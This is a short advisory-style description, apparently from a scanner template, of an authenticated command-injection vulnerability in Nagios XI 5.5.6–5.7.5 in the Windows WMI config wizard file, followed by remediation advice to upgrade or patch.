description : |
2023-03-27 17:46:47 +00:00
Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade Nagios XI to a patched version or apply the vendor-supplied patch to mitigate this vulnerability.
